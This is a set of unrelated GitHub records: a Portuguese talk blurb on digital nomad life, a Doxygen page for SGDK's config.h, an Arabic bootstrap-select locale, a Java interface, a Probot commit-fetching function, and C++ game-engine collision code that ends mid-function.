# Aventuras de um Nômade Digital [Slides](https://speakerdeck.com/jonatasbaldin/aventuras-de-um-nomade-digital). Oi, eu sou o Jojo, e desde Outubro de 2017 eu só tenho um trampo remoto, uma mochila nas contas e vontade conhecer o mundo. Nessa palestra – que mais parece uma conversa de bar – vou contar pra vocês como foi meu último ano vivendo como um nômade rolezeiro digital e como você pode fazer o mesmo! Vamos trocar uma ideia sobre: * Dicas de trampo remoto * Dicas de viagem * Memes * Aventuras e Desaventuras * Dicas de vida * Piadas ruins * Imagens pra causar inveja Beijos da 🇮🇳
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <title>sgdk: config.h Source File</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <link href="navtree.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="navtree.js"></script> <script type="text/javascript" src="resize.js"></script> <script type="text/javascript"> $(document).ready(initResizable); </script> <link href="doxygen.css" rel="stylesheet" type="text/css"/> </head> <body onload='searchBox.OnSelectItem(0);'> <!-- Generated by Doxygen 1.7.4 --> <script type="text/javascript"><!-- var searchBox = new SearchBox("searchBox", "search",false,'Search'); --></script> <div id="top"> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">sgdk</div> </td> </tr> </tbody> </table> </div> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li><a href="pages.html"><span>Related&#160;Pages</span></a></li> <li><a href="annotated.html"><span>Classes</span></a></li> <li class="current"><a href="files.html"><span>Files</span></a></li> <li id="searchli"> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="files.html"><span>File&#160;List</span></a></li> <li><a href="globals.html"><span>File&#160;Members</span></a></li> </ul> </div> </div> <div id="side-nav" class="ui-resizable side-nav-resizable"> <div id="nav-tree"> <div id="nav-tree-contents"> </div> </div> <div id="splitbar" style="-moz-user-select:none;" class="ui-resizable-handle"> </div> </div> <script type="text/javascript"> initNavTree('config_8h.html',''); </script> <div id="doc-content"> <div class="header"> <div class="headertitle"> <div class="title">config.h</div> </div> </div> <div class="contents"> <a href="config_8h.html">Go to the documentation of this file.</a><div class="fragment"><pre class="fragment"><a name="l00001"></a>00001 <a name="l00010"></a>00010 <span class="preprocessor">#ifndef _CONFIG_</span> <a name="l00011"></a>00011 <span class="preprocessor"></span><span class="preprocessor">#define _CONFIG_</span> <a name="l00012"></a>00012 <span class="preprocessor"></span> <a name="l00013"></a>00013 <a name="l00018"></a>00018 <span class="preprocessor">#if (DEBUG != 0)</span> <a name="l00019"></a>00019 <span class="preprocessor"></span><span class="preprocessor"> #define LIB_DEBUG 1</span> <a name="l00020"></a>00020 <span class="preprocessor"></span><span class="preprocessor">#else</span> <a name="l00021"></a><a class="code" href="config_8h.html#a77db44a872ff57297a7f770f1193f0f3">00021</a> <span class="preprocessor"></span><span class="preprocessor"> #define LIB_DEBUG 0</span> <a name="l00022"></a>00022 <span class="preprocessor"></span><span class="preprocessor">#endif</span> <a name="l00023"></a>00023 <span class="preprocessor"></span> <a name="l00030"></a><a class="code" href="config_8h.html#a4dbd3badcdb6094eb9a9a00a660ba3b8">00030</a> <span class="preprocessor">#define HALT_Z80_ON_DMA 0</span> <a name="l00031"></a>00031 <span class="preprocessor"></span> <a name="l00038"></a><a class="code" href="config_8h.html#a2adc6dcc736109045da97cc0d8c54244">00038</a> <span class="preprocessor">#define HALT_Z80_ON_IO 0</span> <a name="l00039"></a>00039 <span class="preprocessor"></span> <a name="l00044"></a><a class="code" href="config_8h.html#a6d2163fee9102ccfe4da038b29df814e">00044</a> <span class="preprocessor">#define DMA_DISABLED 0</span> <a name="l00045"></a>00045 <span class="preprocessor"></span> <a name="l00054"></a><a class="code" href="config_8h.html#a8e5f37f8dd287ef08c10552d637738a7">00054</a> <span class="preprocessor">#define ENABLE_BANK_SWITCH 0</span> <a name="l00055"></a>00055 <span class="preprocessor"></span> <a name="l00061"></a><a class="code" href="config_8h.html#a071a17c9240694ea053efd33130ad764">00061</a> <span class="preprocessor">#define ENABLE_NEWLIB 0</span> <a name="l00062"></a>00062 <span class="preprocessor"></span> <a name="l00068"></a><a class="code" href="config_8h.html#ae4f786f2792c840d47dfd0b1a8161a76">00068</a> <span class="preprocessor">#define MATH_BIG_TABLES 0</span> <a name="l00069"></a>00069 <span class="preprocessor"></span> <a name="l00075"></a><a class="code" href="config_8h.html#aae567e22de980e82ed4be4028a55e049">00075</a> <span class="preprocessor">#define FAT16_SUPPORT 0</span> <a name="l00076"></a>00076 <span class="preprocessor"></span> <a name="l00081"></a><a class="code" href="config_8h.html#ab2bde168f01e48cef3f7e94ea91c3287">00081</a> <span class="preprocessor">#define ENABLE_LOGO 0</span> <a name="l00082"></a>00082 <span class="preprocessor"></span> <a name="l00083"></a>00083 <span class="preprocessor">#if (ENABLE_LOGO != 0)</span> <a name="l00084"></a>00084 <span class="preprocessor"></span> <a name="l00089"></a>00089 <span class="preprocessor">#define ZOOMING_LOGO 0</span> <a name="l00090"></a>00090 <span class="preprocessor"></span> <a name="l00091"></a>00091 <span class="preprocessor">#endif // ENABLE_LOGO</span> <a name="l00092"></a>00092 <span class="preprocessor"></span> <a name="l00093"></a>00093 <a name="l00094"></a>00094 <span class="preprocessor">#endif // _CONFIG_</span> </pre></div></div> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="config_8h.html">config.h</a> </li> <li class="footer">Generated on Sun May 17 2020 21:50:51 for sgdk by&#160; <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.7.4 </li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Defines</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </body> </html>
{ "pile_set_name": "Github" }
/*! * Translated default messages for bootstrap-select. * Locale: AR (Arabic) * Author: Yasser Lotfy <[email protected]> */ (function ($) { $.fn.selectpicker.defaults = { noneSelectedText: 'لم يتم إختيار شئ', noneResultsText: 'لا توجد نتائج مطابقة لـ {0}', countSelectedText: function (numSelected, numTotal) { return (numSelected == 1) ? "{0} خيار تم إختياره" : "{0} خيارات تمت إختيارها"; }, maxOptionsText: function (numAll, numGroup) { return [ (numAll == 1) ? 'تخطى الحد المسموح ({n} خيار بحد أقصى)' : 'تخطى الحد المسموح ({n} خيارات بحد أقصى)', (numGroup == 1) ? 'تخطى الحد المسموح للمجموعة ({n} خيار بحد أقصى)' : 'تخطى الحد المسموح للمجموعة ({n} خيارات بحد أقصى)' ]; }, selectAllText: 'إختيار الجميع', deselectAllText: 'إلغاء إختيار الجميع', multipleSeparator: '، ' }; })(jQuery);
{ "pile_set_name": "Github" }
/* * Copyright 2015 the original author or authors. * @https://github.com/scouter-project/scouter * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package scouter.util; public interface IClose { public void close(); }
{ "pile_set_name": "Github" }
const transformCommit = require('../transforms/commit'); const { getCommits: getCommitsQuery, getDefaultRef } = require('./queries'); /** * @param {import('probot').GitHubAPI} github - The GitHub client. * @param {any} repository - TBD * @param {any} cursor - TBD * @param {number} perPage - How many results per GraphQL page query */ exports.getCommits = async (github, repository, cursor, perPage) => { const data = await github.graphql(getDefaultRef, { owner: repository.owner.login, repo: repository.name, }); const refName = (data.repository.defaultBranchRef) ? data.repository.defaultBranchRef.name : 'master'; const commitsData = await github.graphql(getCommitsQuery, { owner: repository.owner.login, repo: repository.name, per_page: perPage, cursor, default_ref: refName, }); // if the repository is empty, commitsData.repository.ref is null const { edges } = commitsData.repository.ref ? commitsData.repository.ref.target.history : { edges: [] }; const authors = edges.map(({ node: item }) => item.author); const commits = edges.map(({ node: item }) => // translating the object into a schema that matches our transforms ({ author: item.author, authorTimestamp: item.authoredDate, fileCount: 0, sha: item.oid, message: item.message, url: item.url, })); const { data: jiraPayload } = transformCommit( { commits, repository }, authors, ); return { edges, jiraPayload }; };
{ "pile_set_name": "Github" }
#include "CollisionResolver.h" #include "cocos/2d/CCDrawNode.h" #include "Engine/Events/ObjectEvents.h" #include "Engine/SmartNode.h" #include "Engine/Utils/AlgoUtils.h" #include "Engine/Utils/GameUtils.h" #include "Engine/Utils/MathUtils.h" using namespace cocos2d; void CollisionResolver::resolveCollision(CollisionObject* objectA, CollisionObject* objectB, std::function<CollisionObject::CollisionResult()> onCollision) { // Check for easy disqualifications if (objectA == nullptr || objectB == nullptr || objectA == objectB || !objectA->physicsEnabled || !objectB->physicsEnabled || objectA->getUniverseId() != objectB->getUniverseId()) { return; } // Computing depth is also done later when computing world coords, but this is cheaper and faster and will eliminate many collisions. objectA->computeDepth(); objectB->computeDepth(); // Z bounds check if (!CollisionResolver::isWithinZThreshold(objectA, objectB)) { return; } objectA->computeWorldCoords(); objectB->computeWorldCoords(); Vec2 coordsA = objectA->cachedWorldCoords; Vec2 coordsB = objectB->cachedWorldCoords; Rect rectA = objectA->boundsRect; Rect rectB = objectB->boundsRect; rectA.origin += coordsA; rectB.origin += coordsB; // Cheap and easy rectangular bounds check. Nuanced checks will be done later if this check passes. if (!rectA.intersectsRect(rectB)) { return; } // Note: rectToSegment is buggy as shit, but faster. If fixed, reinstate it. if (objectA->shape == CollisionObject::Shape::Rectangle && objectB->shape == CollisionObject::Shape::Segment) { CollisionResolver::polyToSegment(objectA, objectB, onCollision); // CollisionResolver::rectToSegment(objectA, objectB, onCollision); } else if (objectA->shape == CollisionObject::Shape::Segment && objectB->shape == CollisionObject::Shape::Rectangle) { CollisionResolver::polyToSegment(objectB, objectA, onCollision); // CollisionResolver::rectToSegment(objectB, objectA, onCollision); } else if (objectA->shape == CollisionObject::Shape::Rectangle && objectB->shape == CollisionObject::Shape::Rectangle) { CollisionResolver::rectToRect(objectA, objectB, onCollision); } else if (CollisionResolver::isQuadCompatible(objectA) && CollisionResolver::isQuadCompatible(objectB)) { CollisionResolver::quadToQuad(objectA, objectB, onCollision); } else if (objectA->shape == CollisionObject::Shape::Segment && objectB->shape == CollisionObject::Shape::Segment) { CollisionResolver::segmentToSegment(objectA, objectB, onCollision); } else if (objectA->shape == CollisionObject::Shape::Segment && CollisionResolver::isPolyCompatible(objectB)) { CollisionResolver::polyToSegment(objectB, objectA, onCollision); } else if (CollisionResolver::isPolyCompatible(objectA) && objectB->shape == CollisionObject::Shape::Segment) { CollisionResolver::polyToSegment(objectA, objectB, onCollision); } else { CollisionResolver::polyToPoly(objectA, objectB, onCollision); } } bool CollisionResolver::isWithinZThreshold(CollisionObject* collisionObjectA, CollisionObject* collisionObjectB) { const float thisDepthCenter = collisionObjectA->cachedWorldCoords3D.z; const float otherDepthCenter = collisionObjectB->cachedWorldCoords3D.z; // Ensure a < b and c < d const float a = thisDepthCenter - collisionObjectA->collisionDepth; const float b = thisDepthCenter + collisionObjectA->collisionDepth; const float c = otherDepthCenter - collisionObjectB->collisionDepth; const float d = otherDepthCenter + collisionObjectB->collisionDepth; // https://stackoverflow.com/questions/15726825/find-overlap-between-collinear-lines return b - c >= 0.0f && d - a >= 0.0f; } void CollisionResolver::rectToSegment(CollisionObject* objectA, CollisionObject* objectB, std::function<CollisionObject::CollisionResult()> onCollision) { Vec2 coordsA = objectA->cachedWorldCoords; Vec2 coordsB = objectB->cachedWorldCoords; Rect rectA = objectA->boundsRect; Rect rectB = objectB->boundsRect; rectA.origin += coordsA; rectB.origin += coordsB; // Cheap and easy bounds check if (!rectA.intersectsRect(rectB)) { return; } std::tuple<Vec2, Vec2> objectBSegment = std::make_tuple(coordsB + std::get<0>(objectB->segmentsRotated[0]), coordsB + std::get<1>(objectB->segmentsRotated[0])); Vec2 pointB1 = std::get<0>(objectBSegment); Vec2 pointB2 = std::get<1>(objectBSegment); bool containsA = rectA.containsPoint(pointB1); bool containsB = rectA.containsPoint(pointB2); // Check for rectangle <=> segment intersection criteria if (!std::any_of(objectA->segmentsRotated.begin(), objectA->segmentsRotated.end(), [=](std::tuple<cocos2d::Vec2, cocos2d::Vec2> objectASegment) { objectASegment = std::make_tuple(coordsA + std::get<0>(objectASegment), coordsA + std::get<1>(objectASegment)); return AlgoUtils::doSegmentsIntersect(objectASegment, objectBSegment); }) && !containsA && !containsB) { return; } bool adjacent = false; int intersectionCount = 0; Vec2 intersectionA = Vec2::ZERO; Vec2 intersectionB = Vec2::ZERO; // Case 1) Check for two intersections for (auto objectASegment : objectA->segmentsRotated) { objectASegment = std::make_tuple(coordsA + std::get<0>(objectASegment), coordsA + std::get<1>(objectASegment)); if (AlgoUtils::doSegmentsIntersect(objectASegment, objectBSegment)) { intersectionA = intersectionCount == 0 ? AlgoUtils::getLineIntersectionPoint(objectASegment, objectBSegment) : intersectionA; intersectionB = intersectionCount == 1 ? AlgoUtils::getLineIntersectionPoint(objectASegment, objectBSegment) : intersectionB; if (++intersectionCount == 2) { break; } adjacent = true; } else { adjacent = false; } } auto calculateCorrection = [&](const Vec2& focal, bool unidirectional) { float leftDist = std::abs(focal.x - rectA.getMinX()); float rightDist = std::abs(focal.x - rectA.getMaxX()); float bottomDist = std::abs(focal.y - rectA.getMinY()); float topDist = std::abs(focal.y - rectA.getMaxY()); float xDist = std::min(leftDist, rightDist); float yDist = std::min(bottomDist, topDist); if (unidirectional) { if (xDist < yDist) { return Vec2(leftDist < rightDist ? leftDist : -rightDist, 0.0f); } else { return Vec2(0.0f, bottomDist < topDist ? bottomDist : -topDist); } } else { return Vec2(leftDist < rightDist ? leftDist : -rightDist, bottomDist < topDist ? bottomDist : -topDist); } }; if (intersectionCount == 2) { if (onCollision() != CollisionObject::CollisionResult::CollideWithPhysics) { return; } Vec2 correction = calculateCorrection((intersectionA + intersectionB) / 2.0f, !adjacent); Vec2 normal = Vec2(std::abs(correction.x), std::abs(correction.y)); if (adjacent) { normal.x = normal.x > normal.y ? 0.0f : normal.x; normal.y = normal.y > std::abs(correction.x) ? 0.0f : normal.y; } normal.normalize(); if (normal != Vec2::ZERO) { CollisionResolver::applyCorrection(objectA, objectB, correction, normal); } return; } // Case 2: Check for segment end(s) being encapsulated by rectangle /* if (containsA || containsB) { Vec2 focal = (containsA && containsB) ? ((pointB1 + pointB2) / 2.0f) : (containsA ? pointB1 : pointB2); Vec2 correction = calculateCorrection(focal, true); Vec2 normal = Vec2(std::abs(correction.x), std::abs(correction.y)); normal.normalize(); if (normal != Vec2::ZERO) { CollisionResolver::applyCorrection(objectA, objectB, correction, normal); } }*/ // Falling back on poly <=> poly, case 2 is buggy CollisionResolver::polyToPoly(objectA, objectB, onCollision); } void CollisionResolver::rectToRect(CollisionObject* objectA, CollisionObject* objectB, std::function<CollisionObject::CollisionResult()> onCollision) { Vec2 coordsA = objectA->cachedWorldCoords; Vec2 coordsB = objectB->cachedWorldCoords; Rect rectA = objectA->boundsRect; Rect rectB = objectB->boundsRect; rectA.origin += coordsA; rectB.origin += coordsB; // Cheap and easy bounds check if (!rectA.intersectsRect(rectB)) { return; } if (onCollision() != CollisionObject::CollisionResult::CollideWithPhysics) { return; } Vec2 correction = Vec2( rectA.origin.x <= rectB.origin.x ? (rectB.getMinX() - rectA.getMaxX()) : (rectB.getMaxX() - rectA.getMinX()), rectA.origin.y <= rectB.origin.y ? (rectB.getMinY() - rectA.getMaxY()) : (rectB.getMaxY() - rectA.getMinY()) ); if (correction.x == 0.0f || correction.y == 0.0f) { return; } Vec2 normal = Vec2(std::abs(correction.x), std::abs(correction.y)); normal.x = normal.x > normal.y ? 0.0f : normal.x; normal.y = normal.y > std::abs(correction.x) ? 0.0f : normal.y; normal.normalize(); CollisionResolver::applyCorrection(objectA, objectB, correction, normal); } void CollisionResolver::quadToQuad(CollisionObject* objectA, CollisionObject* objectB, std::function<CollisionObject::CollisionResult()> onCollision) { auto resolve = [](CollisionObject* innerObject, CollisionObject* outerObject, Vec2 innerPoint) { std::tuple<Vec2, Vec2> ab = std::make_tuple(outerObject->pointsRotated[0], outerObject->pointsRotated[1]); std::tuple<Vec2, Vec2> bc = std::make_tuple(outerObject->pointsRotated[1], outerObject->pointsRotated[2]); std::tuple<Vec2, Vec2> cd = std::make_tuple(outerObject->pointsRotated[2], outerObject->pointsRotated[3]); std::tuple<Vec2, Vec2> da = std::make_tuple(outerObject->pointsRotated[3], outerObject->pointsRotated[0]); float abDist = AlgoUtils::getDistanceFromSegment(ab, innerPoint); float bcDist = AlgoUtils::getDistanceFromSegment(bc, innerPoint); float cdDist = AlgoUtils::getDistanceFromSegment(cd, innerPoint); float daDist = AlgoUtils::getDistanceFromSegment(da, innerPoint); Vec2 closestPoint; Vec2 normal; if ((abDist < bcDist) && (abDist < cdDist) && (abDist < daDist)) { closestPoint = AlgoUtils::getClosestPointOnLine(ab, innerPoint); normal = AlgoUtils::getSegmentNormal(ab); } else if ((bcDist < cdDist) && (bcDist < daDist)) { closestPoint = AlgoUtils::getClosestPointOnLine(bc, innerPoint); normal = AlgoUtils::getSegmentNormal(bc); } else if (cdDist < daDist) { closestPoint = AlgoUtils::getClosestPointOnLine(cd, innerPoint); normal = AlgoUtils::getSegmentNormal(cd); } else { closestPoint = AlgoUtils::getClosestPointOnLine(da, innerPoint); normal = AlgoUtils::getSegmentNormal(da); } CollisionResolver::applyCorrection(innerObject, outerObject, closestPoint - innerPoint, normal); }; Vec2 coordsA = objectA->cachedWorldCoords; Vec2 coordsB = objectB->cachedWorldCoords; bool hasRunEvents = false; CollisionObject::CollisionResult result = CollisionObject::CollisionResult::DoNothing; auto runCollisonEventsOnce = [&]() { if (!hasRunEvents) { hasRunEvents = true; result = onCollision(); } return result; }; for (auto point : objectA->pointsRotated) { point += (coordsA - coordsB); if (AlgoUtils::isPointInPolygon(objectB->pointsRotated, point)) { if (runCollisonEventsOnce() == CollisionObject::CollisionResult::CollideWithPhysics) { resolve(objectA, objectB, point); } } } for (auto point : objectB->pointsRotated) { point += (coordsB - coordsA); if (AlgoUtils::isPointInPolygon(objectA->pointsRotated, point)) { if (runCollisonEventsOnce() == CollisionObject::CollisionResult::CollideWithPhysics) { resolve(objectB, objectA, point); } } } } void CollisionResolver::polyToPoly(CollisionObject* objectA, CollisionObject* objectB, std::function<CollisionObject::CollisionResult()> onCollision) { Vec2 coordsA = objectA->cachedWorldCoords; Vec2 coordsB = objectB->cachedWorldCoords; CollisionObject::CollisionResult result = CollisionObject::CollisionResult::DoNothing; // Collision check by determining if any points from either polygon is contained by the other polygon if (std::any_of(objectA->pointsRotated.begin(), objectA->pointsRotated.end(), [=](Vec2 point) { point += (coordsA - coordsB); return AlgoUtils::isPointInPolygon(objectB->pointsRotated, point); }) || std::any_of(objectB->pointsRotated.begin(), objectB->pointsRotated.end(), [=](Vec2 point) { point += (coordsB - coordsA); return AlgoUtils::isPointInPolygon(objectA->pointsRotated, point); })) { result = onCollision(); } if (result != CollisionObject::CollisionResult::CollideWithPhysics) { return; } // More detailed detection with collisions for (auto objectASegment : objectA->segmentsRotated) { objectASegment = std::make_tuple(coordsA + std::get<0>(objectASegment), coordsA + std::get<1>(objectASegment)); for (auto objectBSegment : objectB->segmentsRotated) { objectBSegment = std::make_tuple(coordsB + std::get<0>(objectBSegment), coordsB + std::get<1>(objectBSegment)); if (!AlgoUtils::doSegmentsIntersect(objectASegment, objectBSegment)) { continue; } Vec2 intersectionPoint = AlgoUtils::getLineIntersectionPoint(objectASegment, objectBSegment); float objectADistanceP1 = std::get<0>(objectASegment).distance(intersectionPoint); float objectADistanceP2 = std::get<1>(objectASegment).distance(intersectionPoint); float objectBDistanceP1 = std::get<0>(objectBSegment).distance(intersectionPoint); float objectBDistanceP2 = std::get<1>(objectBSegment).distance(intersectionPoint); Vec2 correction = Vec2::ZERO; Vec2 normal = Vec2::ZERO; // CollisionResolver::spawnDebugPoint(objectA, intersectionPoint); if (std::min(objectADistanceP1, objectADistanceP2) < std::min(objectBDistanceP1, objectBDistanceP2)) { // Case 1: The end of this segment is close to the intersection point. Snap the end of this segment to intersect the other segment. normal = AlgoUtils::getSegmentNormal(objectBSegment); // CollisionResolver::spawnDebugVector(objectA, std::get<0>(objectASegment), std::get<1>(objectASegment), Color4F::GREEN); if (objectADistanceP1 < objectADistanceP2) { correction = intersectionPoint - std::get<0>(objectASegment); } else { correction = intersectionPoint - std::get<1>(objectASegment); } } else { // Case 2: The end of the other segment is closer to the intersection point. The other object can't snap since it's static, // so instead we need to push this object away by a calculated amount normal = AlgoUtils::getSegmentNormal(objectASegment); // CollisionResolver::spawnDebugVector(objectA, std::get<0>(objectBSegment), std::get<1>(objectBSegment), Color4F::BLUE); if (objectBDistanceP1 < objectBDistanceP2) { correction = std::get<0>(objectBSegment) - intersectionPoint; } else { correction = std::get<1>(objectBSegment) - intersectionPoint; } } coordsA += CollisionResolver::applyCorrection(objectA, objectB, correction, normal); } } } void CollisionResolver::polyToSegment(CollisionObject* objectA, CollisionObject* objectB, std::function<CollisionObject::CollisionResult()> onCollision) { Vec2 coordsA = objectA->cachedWorldCoords; Vec2 coordsB = objectB->cachedWorldCoords; std::tuple<Vec2, Vec2> objectBSegment = std::make_tuple(coordsB + std::get<0>(objectB->segmentsRotated[0]), coordsB + std::get<1>(objectB->segmentsRotated[0])); bool hadCollision = false; for (auto objectASegment : objectA->segmentsRotated) { objectASegment = std::make_tuple(coordsA + std::get<0>(objectASegment), coordsA + std::get<1>(objectASegment)); if (!AlgoUtils::doSegmentsIntersect(objectASegment, objectBSegment)) { continue; } if (!hadCollision) { if (onCollision() != CollisionObject::CollisionResult::CollideWithPhysics) { return; } hadCollision = true; } Vec2 intersectionPoint = AlgoUtils::getLineIntersectionPoint(objectASegment, objectBSegment); float objectADistanceP1 = std::get<0>(objectASegment).distance(intersectionPoint); float objectADistanceP2 = std::get<1>(objectASegment).distance(intersectionPoint); float objectBDistanceP1 = std::get<0>(objectBSegment).distance(intersectionPoint); float objectBDistanceP2 = std::get<1>(objectBSegment).distance(intersectionPoint); Vec2 correction = Vec2::ZERO; Vec2 normal = Vec2::ZERO; // CollisionResolver::spawnDebugPoint(objectA, intersectionPoint); if (std::min(objectADistanceP1, objectADistanceP2) < std::min(objectBDistanceP1, objectBDistanceP2)) { // Case 1: The end of this segment is close to the intersection point. Snap the end of this segment to intersect the other segment. normal = AlgoUtils::getSegmentNormal(objectBSegment); // CollisionResolver::spawnDebugVector(objectA, std::get<0>(objectASegment), std::get<1>(objectASegment), Color4F::GREEN); if (objectADistanceP1 < objectADistanceP2) { correction = intersectionPoint - std::get<0>(objectASegment); } else { correction = intersectionPoint - std::get<1>(objectASegment); } } else { // Case 2: The end of the other segment is closer to the intersection point. The other object can't snap since it's static, // so instead we need to push this object away by a calculated amount normal = AlgoUtils::getSegmentNormal(objectASegment); // CollisionResolver::spawnDebugVector(objectA, std::get<0>(objectBSegment), std::get<1>(objectBSegment), Color4F::BLUE); if (objectBDistanceP1 < objectBDistanceP2) { correction = std::get<0>(objectBSegment) - intersectionPoint; } else { correction = std::get<1>(objectBSegment) - intersectionPoint; } } coordsA += CollisionResolver::applyCorrection(objectA, objectB, correction, normal); } } void CollisionResolver::segmentToSegment(CollisionObject* objectA, CollisionObject* objectB, std::function<CollisionObject::CollisionResult()> onCollision) { Vec2 coordsA = objectA->cachedWorldCoords; Vec2 coordsB = objectB->cachedWorldCoords; std::tuple<Vec2, Vec2> objectASegment = std::make_tuple(coordsA + std::get<0>(objectA->segmentsRotated[0]), coordsA + std::get<1>(objectA->segmentsRotated[0])); std::tuple<Vec2, Vec2> objectBSegment = std::make_tuple(coordsB + std::get<0>(objectB->segmentsRotated[0]), coordsB + std::get<1>(objectB->segmentsRotated[0])); if (!AlgoUtils::doSegmentsIntersect(objectASegment, objectBSegment)) { return; } if (onCollision() != CollisionObject::CollisionResult::CollideWithPhysics) { return; } Vec2 intersectionPoint = AlgoUtils::getLineIntersectionPoint(objectASegment, objectBSegment); float objectADistanceP1 = std::get<0>(objectASegment).distance(intersectionPoint); float objectADistanceP2 = std::get<1>(objectASegment).distance(intersectionPoint); float objectBDistanceP1 = std::get<0>(objectBSegment).distance(intersectionPoint); float objectBDistanceP2 = std::get<1>(objectBSegment).distance(intersectionPoint); Vec2 correction = Vec2::ZERO; Vec2 normal = Vec2::ZERO; if (std::min(objectADistanceP1, objectADistanceP2) < std::min(objectBDistanceP1, objectBDistanceP2)) { // Case 1: The end of this segment is close to the intersection point. Snap the end of this segment to intersect the other segment. normal = AlgoUtils::getSegmentNormal(objectBSegment); if (objectADistanceP1 < objectADistanceP2) { correction = intersectionPoint - std::get<0>(objectASegment); } else { correction = intersectionPoint - std::get<1>(objectASegment); } } else { // Case 2: The end of the other segment is closer to the intersection point. The other object can't snap since it's static, // so instead we need to push this object away by a calculated amount normal = AlgoUtils::getSegmentNormal(objectASegment); if (objectBDistanceP1 < objectBDistanceP2) { correction = std::get<0>(objectBSegment) - intersectionPoint; } else { correction = std::get<1>(objectBSegment) - intersectionPoint; } } CollisionResolver::applyCorrection(objectA, objectB, correction, normal); } Vec2 CollisionResolver::applyCorrection(CollisionObject* objectA, CollisionObject* objectB, Vec2 correction, Vec2 impactNormal) { if (!objectA->collisionProperties.isDynamic && !objectB->collisionProperties.isDynamic) { return Vec2::ZERO; } static const float CorrectionLimit = 16.0f; float numerator = (objectA->collisionProperties.isDynamic ? objectA->collisionProperties.softness : 0.0f) + (objectB->collisionProperties.isDynamic ? objectB->collisionProperties.softness : 0.0f); float denominator = (objectA->collisionProperties.isDynamic ? 1.0f : 0.0f) + (objectB->collisionProperties.isDynamic ? 1.0f : 0.0f); float softness = numerator / denominator; correction.x *= (impactNormal.x * softness); correction.y *= (impactNormal.y * softness); // correction.y *= impactNormal.y; Vec3 correction3d = Vec3(correction.x, correction.y, 0.0f); // Handle dynamic <=> dynamic collisions differently if (objectA->collisionProperties.isDynamic && objectB->collisionProperties.isDynamic) { float massSum = objectA->collisionProperties.mass + objectB->collisionProperties.mass; massSum = massSum == 0.0f ? 1.0f : massSum; float ratioA = (objectB->collisionProperties.mass / massSum); float ratioB = (objectA->collisionProperties.mass / massSum); // Apply corrections proportional to object masses objectA->setThisOrBindPosition(objectA->getThisOrBindPosition() + correction3d * ratioA); objectB->setThisOrBindPosition(objectB->getThisOrBindPosition() - correction3d * ratioB); } else { // If X disabled, this makes for better horizontal movement, but enabled is more realistic. Might need a compromise/toggleability // objectA->velocity.x *= impactNormal.y; // objectB->velocity.x *= impactNormal.y; objectA->velocity.y *= impactNormal.x; objectB->velocity.y *= impactNormal.x; objectA->setThisOrBindPosition(objectA->getThisOrBindPosition() + ((objectA->collisionProperties.isDynamic) ? correction3d : Vec3::ZERO)); objectB->setThisOrBindPosition(objectB->getThisOrBindPosition() + ((objectB->collisionProperties.isDynamic) ? correction3d : Vec3::ZERO)); } // Prevent overzealous corrections correction.x = MathUtils::clamp(correction.x, -CorrectionLimit, CorrectionLimit); correction.y = MathUtils::clamp(correction.y, -CorrectionLimit, CorrectionLimit); return correction; } bool CollisionResolver::isQuadCompatible(CollisionObject* objectA) { return objectA->shape == CollisionObject::Shape::Rectangle || 